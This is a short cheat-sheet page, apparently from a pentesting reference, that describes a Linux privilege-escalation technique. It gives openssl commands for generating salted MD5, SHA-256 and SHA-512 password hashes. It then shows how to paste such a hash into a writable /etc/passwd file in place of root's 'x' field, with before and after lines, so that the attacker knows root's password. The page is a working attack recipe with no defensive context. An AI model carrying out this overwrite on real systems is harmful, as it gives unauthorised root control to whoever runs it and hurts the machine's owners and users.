Skip to main content

Generate Hashes Passwd Overwrite

SALT=$(openssl rand -base64 6)
# Salted MD5
openssl passwd -1 -salt $SALT your_password
# Salted SHA-256
openssl passwd -5 -salt $SALT your_password
# Salted SHA-512
openssl passwd -6 -salt $SALT your_password
  1. Generate a salted hash using the code example above
  2. Paste the hash into a writable passwd file
root:x:0:0:root:/root:/bin/bash

Before

root:{password_hash_goes_here}:0:0:root:/root:/bin/bash

After